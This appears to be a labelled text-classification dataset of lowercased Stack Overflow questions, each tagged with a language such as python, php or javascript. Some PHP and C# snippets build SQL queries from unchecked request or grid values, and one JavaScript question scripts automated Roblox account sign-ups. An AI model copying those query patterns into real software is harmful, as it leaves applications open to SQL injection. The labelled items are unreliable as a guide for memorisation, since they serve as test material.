getting internal value with dot notation  i have a dictionary:   <pre><code>d = { time : {36.0:  mo }   amount : {200.0:  $ }} </code></pre>   each key (e.g.  time ) only ever has one value (e.g. {36.0  mo })    i d like to access the 36.0 by doing   <pre><code>result = d.time </code></pre>   and the 200.0 by doing   <pre><code>result = d.amount </code></pre>   how do i do this  so far i have:   <pre><code>class bunch(object):   def __init__(self  adict):     self.__dict__.update(adict)  x = bunch(d) print x.time </code></pre>   which produces {36.0:  mo } not 36.0.,python
count changes based on timestamp  i have a table    <pre> timestamp   ip        score 1432632348  1.2.3.4   9 1432632434  5.6.7.8   8 1432632447  1.2.3.4   9 1432632456  1.2.3.4   8 1432632460  5.6.7.8   8 1432632464  1.2.3.4   9 </pre>   the timestamps are consecutive  but don t have any frequency. i want to count  per ip  the number of times the score changed. so in the example the result would be:   <pre> ip      count 1.2.3.4 3 5.6.7.8 1 </pre>   how can i do that  (note: count distinct does not work: 1.2.3.4 changed 3 times but had 2 distinct scores),sql
combining controls from different vendor  <strong>duplicate:</strong> this is an exact duplicate  <a href= https://stackoverflow.com/questions/1263273/using-controls-from-different-vendors-in-one-application >using controls from different vendors in one application</a>   by the same author. please do not answer it - answer the original question. let s get this one closed as a duplicate.   <hr>   has anyone tried using controls from different vendors into your .net application that uses winforms  does this variety of controls go work together  are there any problem so far,.net
c# string builder  displaying data nicely spaced out  i am wondering how exactly can i order my date nicely in a stringbuilder <br> meaning something equal to ( {0 2}   ....) to space the data nicely out.<br> i do not want to use consolewrites of any kind  so the class can be re-used in a form  console code etc...        currently i am using        for the spacing  but in overall it does not give a proper display.  (it messed up when i have numbers with more then 1 digit)    <pre><code>public override string tostring()      {         stringbuilder builder = new stringbuilder();         foreach (int value in tabel)         {             builder.append(value); // should have something similiar to ( {0 2}   ....)             builder.append(    ); // should have something similiar to ( {0 2}   ....)         }          builder.append( (top: );         builder.append(top);         builder.append( ) );          return builder.tostring();     }/*tostring*/ </code></pre>   regards.,c#
can you make a <input type= text > element have a size shorter than 1   i have an <code>&lt;input&gt;</code> that i want to be smaller than <code>size= 1 </code> but i do not know how to make it smaller. is it possible to do this     i tried using fractions and decimals but neither worked.,html
how to cancel uitableview reloaddata function in iphone  in my application  i have pushed from oneviewcontroller to anotherviewcontroller. in that page i have started a timer and updated <code>uitableview</code> for every 1 sec (using <code>uitableview reloaddata</code>).    i have start the timer in <code>viewwillappear</code> function and invalidate timer in <code>viewwilldisappear</code>.    but when timer is running  when i came back to my viewcontroller my application crashed rapidly.    please help me  thanks in advance...    my guess is when i push back to viewcontroller that time tablereloads in previous viewcontroller that time it make crashes. i am using try catch but nothing makes any difference. can we stop tableview reloads when we are not in that page,iphone
how to handle received files in my app   my app receives files from other apps. so  i receive the uri but... how to access to the file name and data     now  i m doing something like this:   <pre><code>if ( file .equals(datauri.getscheme())){     file file = new file(datauri.getpath));     // i do needed operations with the file here } else if ( content .equals(datauri.getscheme())){     cursor cursor = getcontentresolver().query(datauri  new string[]{mediastore.mediacolumns.display_name}  null  null  null);     if (cursor.movetofirst() &amp;&amp; (nameindex = cursor.getcolumnindex(cursor.getcolumnnames()[0])) &gt;= 0){         string filename = cursor.getstring(nameindex);         inputstream inputstream = getcontentresolver().openinputstream(datauri);         // i do needed operations with the file here     } } </code></pre>   is this enough for handle every case,android
two submit buttons  i have two forms on a same page and i have two submit buttons...so how do i check if the user filled out the first form before clicking the submit button on second form  the first form posts the data to php page which presents on a same page as the html and the second form sends the data to another php page with thank you message....i mean how do force the user to finish the first form before clicking the submit button on the second form  if the user hits the submit button on the second form  the form directs to thank you page with out checking if the user finished the first form..how do i stop that    <pre><code>&lt;html&gt; &lt;body&gt;  &lt;form action=   method= post  enctype= multipart/form-data &gt; &lt;input type= hidden  name= submited  value= true  /&gt; &lt;label for= file &gt;choose photo:&lt;/label&gt; &lt;input type= file  name= file  onchange= file_selected = true;  required&gt; &lt;input type= submit  value= submit  name= submit &gt; &lt;/form&gt;  &lt;form action= send.php  method= post &gt; first name:&lt;input type= text  name= fname  required&gt;&lt;br&gt; last name:&lt;input type= text  name= lname  required&gt;&lt;br&gt; choose username:&lt;input type= text  name= username  required&gt;&lt;br&gt; age:&lt;input type= text  name= age  required&gt;&lt;br&gt; &lt;input type= submit  value= submit  name= submit &gt;  &lt;/form&gt; </code></pre>,html
convert any video url into .mp4 extension without using avasset  my code changes the particular url into .mp4 extension but after conversion it gives the path not specific url with .mp4 extension   <pre><code>videourl = [nsurl urlwithstring:@ https://www.youtube.com/watch v=9uliwb9q0nc ];  avurlasset *avasset = [avurlasset urlassetwithurl:videourl options:nil]; nsarray *compatiblepresets = [avassetexportsession exportpresetscompatiblewithasset:avasset];  if ([compatiblepresets containsobject:avassetexportpresetlowquality]) {     avassetexportsession *exportsession = [[avassetexportsession       alloc]initwithasset:avasset presetname:avassetexportpresetlowquality];      nsstring* documentsdirectory=     [nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes) objectatindex:0];     nsstring* mydocumentpath= [documentsdirectory stringbyappendingpathcomponent:@ temp.mp4 ];     url = [[nsurl alloc] initfileurlwithpath:mydocumentpath];      if ([[nsfilemanager defaultmanager]fileexistsatpath:mydocumentpath])     {         [[nsfilemanager defaultmanager]removeitematpath:mydocumentpath error:nil];     }     exportsession.outputurl = url;     exportsession.outputfiletype = avfiletypempeg4;     exportsession.shouldoptimizefornetworkuse = yes;      [exportsession exportasynchronouslywithcompletionhandler:^{         switch ([exportsession status])         {             case avassetexportsessionstatusfailed:                 nslog(@ export session failed );                 break;             case avassetexportsessionstatuscancelled:                 nslog(@ export canceled );                 break;             case avassetexportsessionstatuscompleted:             {                 nslog(@ successful! );             }                 break;             default:                 break;         }     }]; } else {     nslog(@ video file not supported! ); } </code></pre>,objective-c
is it ok to use def main() with a pass statement in it for python module  i have a python script that i am using purely as a module. it has one class and a few other functions that are being imported to another python script using:   <pre><code>from module import * </code></pre>   the module looks something like this:   <pre><code>class myclass:       def __init__(self  something):       def somegetter(self):          return whatever       def somesetter(self):  def somesupportingfunction():      return whatever  def someothersupportingfunction():      return whatever   def main():      pass  if __name__ ==  __main__ :      main() </code></pre>   the script that i am using makes use of both the class and other functions included in the script.    would this be a reasonable way to implement a module that does not need to be used via the command line  if not  what would be the best way to implement it     from what i have read  doing a wildcard import using * is frowned upon. thanks.,python
parse error: syntax error  unexpected  if  (t_if) in php  i have some problems in parsing php files:      my php code is as follows:     <pre><code>&lt; php require  init.php   if(isset($_post[ name ])){     $name = $_post[ name ]; } if(isset($_post[ age ])) {     $age = $_post[ age ]; } if(isset($_post[ username ])) {     $username = $_post[ username ]; } if(isset($_post[ password ])) {     $password = $_post[ password ]; }  ## other codes ##  &gt; </code></pre>   i get a error as follows:       <blockquote>    parse error: syntax error  unexpected  if  (t_if) in        c:\wamp64\www\register.php on line 4  </blockquote>   the error line is this line:     <pre><code>if(isset($_post[ name ])){    $name = $_post[ name ]; }   </code></pre>   i searched google as someone said that we should use <code>  </code>instead of <code>  </code>  i also tried  but i still get this error  i don t how what s wrong with it  can someone help me out,php
does aliasing work with function calling in ng-disabled   first  have a look at my current code:   <pre><code>$scope.disableparticipant = function (memberobj) {         if($scope.memberobj.membertype==1){             return true;         } else if($scope.memberobj.membertype==2 &amp;&amp; $scope.program.updatepermission){             return true;         }         return false;     }; </code></pre>  <pre class= lang-html prettyprint-override ><code>&lt;table&gt;     &lt;tbody&gt;     &lt;tr ng-repeat= memberobj in members | orderby : [ membername ] as resultmem track by memberobj.id &gt;         &lt;td align= middle  title= add/remove participant  class= width40 &gt;             &lt;input type= checkbox  ng-disabled= disableparticipant(memberobj) &gt;         &lt;/td&gt;         &lt;td&gt;             &lt;$ memberobj.membername $&gt;         &lt;/td&gt;         &lt;td&gt;             &lt;input type= checkbox  ng-disabled= (disableparticipant(memberobj) &amp;&amp; (program.created_by == memberobj.id)) &gt;         &lt;/td&gt;         &lt;td&gt;             &lt;input type= checkbox  ng-disabled= (disableparticipant(memberobj) &amp;&amp; (program.created_by == memberobj.id)) &gt;         &lt;/td&gt;         &lt;td&gt;             &lt;input type= checkbox  ng-disabled= (disableparticipant(memberobj) &amp;&amp; (program.created_by == memberobj.id)) &gt;         &lt;/td&gt;         &lt;td&gt;             &lt;input type= checkbox  ng-disabled= (disableparticipant(memberobj) &amp;&amp; (program.created_by == memberobj.id)) &gt;         &lt;/td&gt;     &lt;/tr&gt;     &lt;/tbody&gt; &lt;/table&gt; </code></pre>   here i have used  disableparticipant  function many times. i am searching any way where i do not need to use the function again &amp; again. i supposed that aliasing with the very first use of function should work but it is not working.   <pre><code>&lt;input type= checkbox  ng-disabled= disableparticipant(memberobj) as isdisabled &gt; </code></pre>   &amp; i want it to work like   <pre><code>    &lt;td&gt;         &lt;input type= checkbox  ng-disabled= isdisabled &amp;&amp; (program.created_by == memberobj.id)) &gt;     &lt;/td&gt; </code></pre>   it didn t work but if there is any other way around  let me know...,angularjs
jquery not woking on mac  jquery alert is not displayed on mac   <pre><code>$(document).window.onload(function(){    alert( jquery loaded successfully ); }); </code></pre>,jquery
stylesheet/javascript management rails 3  the application i am writing is pretty complex and has different stylesheets/javascripts depending on the action. right now i have added some methods to the application controller that allows me to build up an array which then is used in the application.html.erb layout. this feels a little sloppy. it would be nice to somehow configure this from a settings file based on action or something. (i guess that might get messy too though)    any ideas    <pre><code>def initialize   super()   @application_stylesheets = array.new   @application_javascripts = array.new end  def add_stylesheet(stylesheet)     @application_stylesheets.push(stylesheet) end  def add_javascript(javascript)   @application_javascripts.push(javascript) end </code></pre>,ruby-on-rails
how to listen to draw over screen premission check when open the setting for it  in my app  it requires draw over app permission so i open setting using intent    <pre><code>intent intent = new intent();         intent.setaction(settings.action_manage_overlay_permission);         uri uri = uri.parse( package:  + context.getpackagename());         intent.setdata(uri);         context.startactivity(intent); </code></pre>   so setting open and the user checks true to allow permission but he has to press back button to open my app again  but when i try turecaller i detect when user check it s open app again without press to the back button. how to make like this in my app,android
how do i make this quick sort algorithm work with arrays that have duplicate elements   here is my code. it works fine  unless an array has duplicate elements. the quicksortrec method will keep halving arrays divided by a pivot. my paritition method will but a pivot-element in its sorted position. i believe my problem is in the partition method. but if i have >= or &lt;= to my while statements  i get errors. what should i do    <pre><code>public static void quicksortrec(int[] arr  int start  int end){     if (start&lt;end){ // recursive case: there is a sizable array to working ie the array has more than one element         int idx = partition(arr start end); // it returns the index of pivot which should be in its sorted position         system.out.println(arr[idx] );         system.out.println(arrays.tostring(arr));         quicksortrec(arr start idx-1); // quick sorts that half right of the pivot         quicksortrec(arr idx+1 end); // quick sorts that half left of the pivot     } }  public static int partition(int[] arr  int start  int end){      int pivot = arr[end]; // i choose the pivot to be the starting element     int i = end;     while (start &lt; end){ // we will try to make everything smaller than the pivot left of it  and bigger right of it         while (arr[start] &lt; pivot ){ // if an element left  of the pivot is already smaller than it             start++; // we just move on         }         while(arr[end] &gt; pivot){ // if an element right of the pivot is already bigger than it             end--; // we move on         }         if (start &lt; end){ // we come here only when there is an element on the wrong side of the pivot             int temp = arr[start];  // swap the pivot and that element on the wrong side             arr[start] = arr[end];             arr[end] = temp;             //start++;             //end++;             //end--; // we move on and we don t move the start because that is the pivot index         }      }     arr[end] = pivot;     return end; // return pivot index which should be sorted } </code></pre>,java
showing image from database in datagridview  i have small problem but i need your help.  i have successfully inserted pictures into the db therefore  i am trying to access those images through <code>datagridview</code>.  whenever i click <code>dgv</code> row/cell i need the picture(s) to appear in the picture box.  here is my code.     <pre><code>sqlconnection con = new sqlconnection(connectionstring); sqldataadapter da = new sqldataadapter( select * from candidates where candidateid =    + datagridviewcandidate.selectedrows[0].cells[0].value.tostring() +      con); datatable dt = new datatable(); da.fill(dt); //datagridviewcandidate.datasource = dt; byte[] binaryimage = (byte[])dt.rows[0][1]; bitmap image; using (memorystream stream = new memorystream(binaryimage)) {     image = new bitmap(stream); } employeephoto.image = image; </code></pre>   the error i am getting is below;   <blockquote>    unable to cast object of type  system.datetime  to type  system.byte[]   </blockquote>   thank you for your help.,c#
using fread() to read text file into a buffer - why are the values in the buffer not each character s respective ascii value   first off  this isn t homework. just trying to understand why i m seeing what i m seeing on my screen.    the stuff below (my own work) currently takes an input file and reads it as a binary file. i want it to store each byte read in an array (for later use). for the sake of brevity the input file (hello.txt) just contains  hello world   without the apostrophes.   <pre><code>int main(int argc  char *argv[]) {      file *input;     int i  size;     int *array;      input = fopen( hello.txt    rb );     if (input == null) {         perror( invalid file specified. );         exit(-1);     }      fseek(input  0  seek_end);     size = ftell(input);     fseek(input  0  seek_set);      array = (int*) malloc(size * sizeof(int));     if (array == null) {         perror( could not allocate array. );         exit(-1);     }     else {         input = fopen( hello.txt    rb );         fread(array  sizeof(int)  size  input);         // some check on return value of fread          fclose(input);     }      for (i = 0; i &lt; size; i++) {         printf( array[%d] == %d\n   i  array[i]);     } </code></pre>   why is it that having the print statement in the for loop as it is above causes the output to look like this   <pre><code>array[0] == 1819043144 array[1] == 1867980911 array[2] == 6581362 array[3] == 0 array[4] == 0 array[5] == 0 array[6] == 0 array[7] == 0 array[8] == 0 array[9] == 0 array[10] == 0 </code></pre>   while having it like this   <pre><code>printf( array[%d] == %d\n   i  ((char *)array)[i]); </code></pre>   makes the output look like this (decimal ascii value for each character)   <pre><code>array[0] == 72 array[1] == 101 array[2] == 108 array[3] == 108 array[4] == 111 array[5] == 32 array[6] == 87 array[7] == 111 array[8] == 114 array[9] == 108 array[10] == 100 </code></pre>     if i m reading it as a binary file and want to read byte by byte  why don t i get the right ascii value using the first print statement      on a related note  what happens if the input file i send in isn t a text document (e.g.  jpeg)     sorry is this is an entirely trivial matter  but i can t seem to figure out <em>why</em>.,c
get the id of clicked option in a select <pre><code>html: &lt;select id= leftpane  size= 10 &gt;     &lt;option id= 1  value= one &gt;one&lt;/option&gt;     &lt;option id= 2  value= two &gt;two&lt;/option&gt; &lt;/select&gt;  jquery: $( #leftpane ).click(function () {     alert(this.id); }); </code></pre>   in the above code  if i click an item  it will display the id of the select that is  leftpane .  what i want is the id of the option that was clicked.  i can easily get the value:   <pre><code>alert($(this).val()); </code></pre>   but how do i get the id of the option clicked,jquery
xml writing problem  i am trying to write to an xml file in a certain structure and am experiencing some issues. i want to write several xelements to a certain xelement in an xml. for ex:   <pre><code>        foreach (xmlfieldinfo field in xmlfields)             fields.add(new xelement( field   new xelement( name   field.fieldid)  new xelement( inclusionitems   field.inclusionlisttowritetoxml)  new xelement( exclusionitems   field.exclusionlisttowritetoxml))); </code></pre>   here i build several xelements i want to add as subnodes to another node in an xml.   <pre><code>xelement lockboxconfigtree = new xelement( student   new xelement( id   cmbid.text.trim())  .................); </code></pre>   the ...... is where each element in the list created above will be added but i dont know how many elements there are so i cant find a way to add it to the supernode.    the above is the supernode i want to add the subnodes created above to. the problem is  i cant seem to get the right logic so in the end  the xml will look like this:   <pre><code>&lt;student&gt;    &lt;id&gt;&lt;/id&gt;    &lt;field&gt;      &lt;name&gt;&lt;/name&gt;      &lt;inclusionlist&gt;&lt;/inclusionlist&gt;      &lt;exclusionlist&gt;&lt;/inclusionlist&gt;    &lt;/field&gt; &lt;/student&gt; </code></pre>,c#
php running calendar within two weeks  i have a calendar that shows the current month  which we use for scheduling. a request was made to have today s date in the middle  with two weeks of dates on either side.    current code:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;running calendar&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt; php date_default_timezone_set( america/new_york );  //get today s date $date = time();  //break date into separate values $day = date( d  $date); $month = date( m  $date); $year = date( y  $date);  //generate first day of the month $first_day = mktime(0 0 0 $month 1 $year);  //grab month name $title = date( f  $first_day);  //here you find out what day of the week the first day of the month falls on $day_of_week = date( d   $first_day) ;  //we then determine how many days are in the current month $days_in_month = cal_days_in_month(0  $month  $year) ;  switch($globals[ day_of_week ]) { case  sun : $blank = 0; break; case  mon : $blank = 1; break; case  tue : $blank = 2; break; case  wed : $blank = 3; break; case  thu : $blank = 4; break; case  fri : $blank = 5; break; case  sat : $blank = 6; break; }  $currhour = date( h );  echo  &lt;div id=container&gt; ; echo  &lt;table width=100% class=calendar&gt; ; echo  &lt;tr&gt;&lt;th colspan=32 id=title&gt;$title $year&lt;/th&gt;&lt;/tr&gt; ; echo  &lt;tr&gt;&lt;th&gt;employee&lt;/th&gt; ; $day_num=1; while($day_num &lt;= $days_in_month){ echo  &lt;th align=center  ; if($day == $day_num){echo  id=day ;} echo  &gt;$day_num&lt;/th&gt; ; $day_num++; } echo  &lt;/tr&gt; ; echo  &lt;/table&gt; ; echo  &lt;/div&gt; ;  &gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   what they would like to see:    21 22 23 24 25 26 27 28 29 30 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19    i haven t had any luck getting the code figured out to display the past two weeks properly.,php
why does nan appear for simple subtraction in javascript   this problem occurred to me when i did this:   <pre><code>var y; var x;  function move(e) { var x=e.x; var y=e.y; }  var a=y-600; alert(a); </code></pre>   when i did this the output was:   <pre><code>a=nan </code></pre>,javascript
what exactly is a string and an array in c and what is strlen() used for  i have read that string is an array of characters.array can hold any datatype but string can have only characters then why is strlen() function working for integer arrays.,c
why do i have this  undefined index error: id in ...    notice: undefined index: id in c:\wamp\www\bidding\view\ctgryedit.php on line 134    am getting this notice while doing edit operation . the code which i had given is    <pre><code>     &lt; php      $cid=$_get[ id ]; $con=mysql_connect( localhost   root    )or die( error in connection ); mysql_select_db( bidding  $con) or die( error in db ); $sql= select * from category where `catgry_id`= $cid  ; $res=mysql_query($sql $con); $row=mysql_fetch_array($res);        &gt; </code></pre>   am sending the value using query string.... plz anybody help me to solve dis error...,php
how to get sum group by category from product list  i have a list products (includes category and quantity)   <pre><code>$html =   ; foreach ($products as $product) {    $html .= $product-&gt;category;    $html .= $product-&gt;name;    $html .= $product-&gt;quantity; } echo $html; </code></pre>   follow this list   <pre><code>category | product | quantity timsum       t1         10 timsum       t2         20 timsum       t3         30   sauces       s1         5   sauces       s2         15 </code></pre>   how to sum group and show last line each category   <pre><code>category | product | quantity timsum       t1         10 timsum       t2         20 timsum       t3         30  **sum timsum            60**     sauces       s1         5   sauces       s2         15 **sum sauces            20**  </code></pre>,php
how to swap one value with next value in python   for example  i have a list: <code>[25 3 26 27 56]</code>.    i want to write a function that swap the number 27 with next value. in the example above  is swapping the position between 27 and 56.    but actually i don t know what the values exactly are in a list.    so my question is  how to express  the next value   i tried to use index  but i m not sure how to express it. and  i know how to replace a number by another number  but how to swap two numbers in a list(the number 27 is known  swap 27 with next value  but i don t know what next value is),python
javascript video rewind and fastforward  i m trying to get a rewind function (back to start) and a fast-forward function but i can t even seem to get the rewind function to work  i don t know why  maybe i m missing something      javascript code:    <pre><code>var vid  playbtn  seekslider  currenttimetxt  durationtimetxt  mutebtn  volumeslider  playbackspeed  speedback; function intializeplayer(){ // set object references     vid = document.getelementbyid( my_video );     playbtn = document.getelementbyid( playpausebtn ); //element to get an id     seekslider = document.getelementbyid( seekslider );     currenttimetxt = document.getelementbyid( currenttimetxt );     durationtimetxt = document.getelementbyid( durationtimetxt );     mutebtn = document.getelementbyid( mutebtn );     volumeslider = document.getelementbyid( volumeslider );     playbackspeed = document.getelementbyid( chosenspeed );     speedback = document.getelementbyid( rewind );     // add event listeners     playbtn.addeventlistener( click  playpause); //      seekslider.addeventlistener( change  vidseek); // (  . function called)     vid.addeventlistener( timeupdate  seektimeupdate);     mutebtn.addeventlistener( click  vidmute);     volumeslider.addeventlistener( change  setvolume);     playbackspeed.addeventlistener( change   chosenspeed);     speedback.addeventlistener( click   rewind); } window.onload = intializeplayer; // window.onload means that anything in between the curly brackets will run when the entire has loaded  including images  etc. function playpause(){     if(vid.paused){         vid.play();         playbtn.innerhtml =  pause ;     } else {         vid.pause();         playbtn.innerhtml =  play ;     } } function vidseek(){     var seekto = vid.duration * (seekslider.value / 100);     vid.currenttime = seekto; } function seektimeupdate(){     var nt = vid.currenttime * (100 / vid.duration);     seekslider.value = nt;     var currentminutes = math.floor(vid.currenttime / 60);     var currentseconds = math.floor(vid.currenttime - currentminutes * 60);     var durationminutes = math.floor(vid.duration / 60); // math.floor for rounding the numbers     var durationseconds = math.round(vid.duration - durationminutes * 60); //math.round for a more precise rounding no. (test)     if(currentseconds &lt; 10){ currentseconds =  0 +currentseconds; }     if(durationseconds &lt; 10){ durationseconds =  0 +durationseconds; }      if(currentminutes &lt; 10){ currentminutes =  0 +currentminutes; } // calculates the current time of video     if(durationminutes &lt; 10){ durationminutes =  0 +durationminutes; }     currenttimetxt.innerhtml = currentminutes+ : +currentseconds; //currentminutes / currentseconds = current mins / seconds     durationtimetxt.innerhtml = durationminutes+ : +durationseconds; //durationminutes / durationseconds = duration minutes / seconds  } function vidmute(){     if(vid.muted){         vid.muted = false;         mutebtn.innerhtml =  mute ;         volumeslider.value=vid.volume * 100;     } else {         vid.muted = true;         mutebtn.innerhtml =  unmute ;         volumeslider.value=0;     } } function setvolume(){     vid.volume = volumeslider.value / 100; } function chosenspeed(){     vid.playbackrate = (playbackspeed.value); // uses the identifier for the playbackrate and connects value }  function rewind() {     speedback.currenttime= 0; } </code></pre>   html   <pre><code>&lt;!doctype html&gt; &lt;html&gt;     &lt;head&gt;     &lt;meta charset= utf-8 &gt;     &lt;title&gt;training videos&lt;/title&gt; &lt;script src= scripts/videoscript.js &gt;&lt;/script&gt; &lt;!-- calling script file --&gt; &lt;/head&gt; &lt;body&gt;     &lt;header&gt;&lt;h1&gt;westin tan  21st november&lt;/h1&gt;&lt;/header&gt; &lt;div id= video_player_box &gt;  &lt;video id= my_video  width= 640  height= 480  poster= images/poster.jpg &gt;   &lt;source src= video/blur.mp4 &gt; &lt;/video&gt;   &lt;div id= video_controls_bar &gt;   &lt;button id= rewind &gt;&lt;&lt;&lt;/button&gt;     &lt;button id= playpausebtn &gt;play&lt;/button&gt;         &lt;button id= fastforward &gt;&gt;&gt;&lt;/button&gt;     &lt;input id= seekslider  type= range  min= 0  max= 100  value= 0  step= 1 &gt;     &lt;span id= currenttimetxt &gt;00:00&lt;/span&gt; / &lt;span id= durationtimetxt &gt;00:00&lt;/span&gt; &lt;!-- display of the current time of video --&gt;     &lt;button id= mutebtn &gt;mute&lt;/button&gt;      &lt;input id= volumeslider  type= range  min= 0  max= 100  value= 100  step= 1 &gt;     &lt;select id= chosenspeed &gt;   &lt;option value= 2 &gt;2x&lt;/option&gt;   &lt;option value= 1.7 &gt;1.7x&lt;/option&gt;   &lt;option value= 1.5 &gt;1.5x&lt;/option&gt;   &lt;option value= 1.25 &gt;1.25x&lt;/option&gt;   &lt;option value= 1 selected&gt;1x&lt;/option&gt;   &lt;option value= 0.75 &gt;0.75x&lt;/option&gt; &lt;!-- make speed playback rate method in javascript to link witt the values of the speed --&gt;   &lt;option value= 0.5 &gt;0.5x&lt;/option&gt; &lt;/select&gt; &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   and please can you guys give me advice of how to do the same with my fast forward or is it similar,javascript
custom listview showing empty rows  my custom listview is showing empty rows but when i use logcat to display the data it shows that the data is all there in my arraylist...how do i make the listview show my arraylist items    <pre><code>public class myarrayadapter extends arrayadapter&lt;string&gt; {  context context; arraylist&lt;string&gt; values; int resid;  public myarrayadapter(context context  int resid  arraylist&lt;string&gt; values) {     super(context  resid  values);     this.resid = resid;     this.context = context;     this.values = values; }  @override public view getview(int position  view convertview  viewgroup parent) {     layoutinflater inflater = (layoutinflater) context.getsystemservice(context.layout_inflater_service);     view rowview = inflater.inflate(resid  parent  false);     return rowview; } } </code></pre>   classs here ////////////////////////////////////////////   <pre><code>    final listview homelistview = (listview) findviewbyid(r.id.homelistview);     string[] filelist = filelist();     arraylist&lt;string&gt; filelist = new arraylist&lt;string&gt;();      for (int i=0; i &lt; filelist.length; i++) {//displays only first half of job number           string[] stemp = filelist[i].split( \\. );         if(!filelist.contains(stemp[0])) {//makes sure only one job number is show in the list             filelist.add(stemp[0]);         }     }     collections.reverse(filelist);     myarrayadapter listadapter = new myarrayadapter(this  r.layout.homelistview  filelist);     homelistview.setadapter(listadapter);     homelistview.setonitemclicklistener(new adapterview.onitemclicklistener() {         public void onitemclick(adapterview&lt; &gt; parent  view view  int position  long id) {             //get the clicked items job no. and pass it to the next activity which will display all relevant jobs             intent detailedlist_intent = new intent(home.this  home2.class);             detailedlist_intent.putextra( jobno   homelistview.getitematposition(position).tostring());             startactivity(detailedlist_intent);         }     }); </code></pre>,android
most efficient way to have multiple toggle items on a page  if i ve got multiple items that i want to change from a display of  none   to a display of  block   what s the most efficient way of doing it     the js i would use for a single item is below  but i imagine there are several on a page or site. should i make use of function constructors somehow    <pre><code>var sidenav = document.getelementbyid( sidenav ); var menubutton = document.getelementbyid( menubutton );  function toggle() {     if(sidenav.style.display) {         sidenav.style.display =   ;     } else {         sidenav.style.display =  block ;     } }  menubutton.addeventlistener( click   toggle); </code></pre>,javascript
open and close tag difference  hy guys  is there a difference between <code>&lt;li&gt;hello wolrd&lt;/li&gt;</code> and <code>&lt;li&gt;hello world</code>.    both tags have the same result:   <blockquote>   <ul>   <li>hello world</li>   </ul> </blockquote>   i know that every tag should have an close tag but i discovered this by mistake. can anyone tell me the reason,html
pagination in tableview  like in iphone s youtube application  i like to implement pagination in tableview.     i am getting few information from internet as xml(thumbnail url).     i like to implement it with out using [self.tableview reloaddata]. this api will load all cell again. but i want to insert only the new data in cell(no need to trouble old data) just like in the youtube application in iphone.    how could i implement pagination without using reloaddata.    please  any one can guide me.,iphone
i m having window.open() problems   alright  so i have this function that makes an account for me using window.open but the problem is that it logs <strong> window opened </strong> but after that it doesn t log anything  no errors  and it doesn t make the account. could anyone think of a reason why it is doing this    <pre><code>var accountpassword =  testpassword512   function checkusername(username  callback) {     $.get( http://www.roblox.com/usercheck/doesusernameexist username=  + username  function(data) {         callback(data.success); // true = taken   false = not taken     }); };    function makenewaccount(accountname) {     checkusername(accountname  function(response) {         if (response == false) {             console.log( making account:   + accountname)             signupwindow = window.open( http://www.roblox.com/login/signup.aspx );             console.log( window opened );             signupwindow.document.getelementbyid( signupusername ).val(accountname);             signupwindow.document.getelementbyid( signuppassword ).val(accountpassword);             signupwindow.document.getelementbyid( signuppasswordconfirm ).val(accountpassword);             signupwindow.document.getelementbyid( birthdaymonthselect ).value = 0;             signupwindow.document.getelementbyid( birthdaydayselect ).value = 0;             signupwindow.document.getelementbyid( birthdayyearselect ).value = 25;             console.log( done with values );             signupwindow.document.getelementbyclassname( .gender-circle ).click();             console.log( done choosing gender );             signupwindow.document.getelementbyid( signupbutton ).submit();             console.log( account made );         } else {             return true; // true = account taken   false = not taken         }      });  } makenewaccount( 240213mfasd ) </code></pre>,javascript
using scanf in objective-c will not assign to an integer   i know that i need to assign <code>int a</code> and <code>int b</code> to something but i replaced it with the <code>scanf</code> functions example ( <code>int a = scanf( %d   a);</code> and <code>int b = scanf( %d   b);</code> but that did not work so i kept it as original like shown.   <pre><code>#import &lt;foundation/foundation.h&gt;  int main (int argc  const char * argv[]) {      int a ;     int b ;     int c = a * b;      printf( welcome to the multiplication calculator );     printf( \n );     printf( what would you like to choose for first value  );     scanf( %d   &amp;a);     printf( \n );     printf( what would you like to input for the second value  );     scanf( %d   &amp;b);     printf(  here is your product );     printf( \n );     nslog(@ a * b =%i   c);           return 0; } </code></pre>,objective-c
how to check if a variable has been initialized in c   is there a way to check if a variable has been initialized or not in c     consider the following example    <pre><code>int main(){     int a = 3  b = 7  c;      if ( a &gt; b )         c = a-b;      // now  how can i check if the variable  c  has some value or not     // i don t want check like this      // if ( isalpha(c) ) or if ( isdigit(c) )     // or anything similar to like that } </code></pre>   in other words  does c has some function like <code>defined</code> in <code>perl</code>. in <code>perl</code>  i can simply do <code>if (defined c)</code>that would check if the variable is defined or not  and it d return false for above example. how can i achieve the same in c,c
how do setter and getter methods work   before i started encapsulation and learn how to use properties  i was looking at setters and getters methods.<br> i understood how <code>setid</code> and <code>getid</code> methods works but i wasn t sure about <code>setname</code>  <code>getname</code> and <code>getpassmark</code> methods.   <pre><code>using system;  public class student {     private int _id;                                           private string _name;     private int _passmark = 35;      public void setid(int id)           {         if (id&lt;=0)                             {             throw new exception( student id cannot be negative );           }         this._id = id;           }      public int getid()                         {         return this._id;     }      public void setname(string name)     {         if(string.isnullorempty(name))               {             throw new exception( name cannot be null or empty );         }         this._name = name;     }      public string getname()     {         if(string.isnullorempty(this._name))            {             return  no name ;         }         else         {             return this._name;         }     }      public int getpassmark()     {         return this._passmark;     } }  public class program {     public static void main()                                                                    {         student c1 = new student();                                                                                c1.setid(101);                         c1.setname( mark );                     console.writeline( id = {0}    c1.getid());         console.writeline( student name = {0}   c1.getname());                console.writeline( passmark = {0}   c1.getpassmark());      } } </code></pre>   when i looked at <code>setname</code>  i understood that if the string is either empty or null  we throw exception and otherwise <code>this._name = name</code>.<br> but when i looked at <code>getname</code>  i didn t really understand why there is the if statement.<br> if name was null or empty  there wouldn t have been <code>this._name</code> as we throw exception in <code>setname</code>.<br> can t we just write down <code>return this._name</code> in getname <br> also in <code>getpassmark</code> method why is <code>this.</code> necessary in <code>return this._passmark</code>,c#
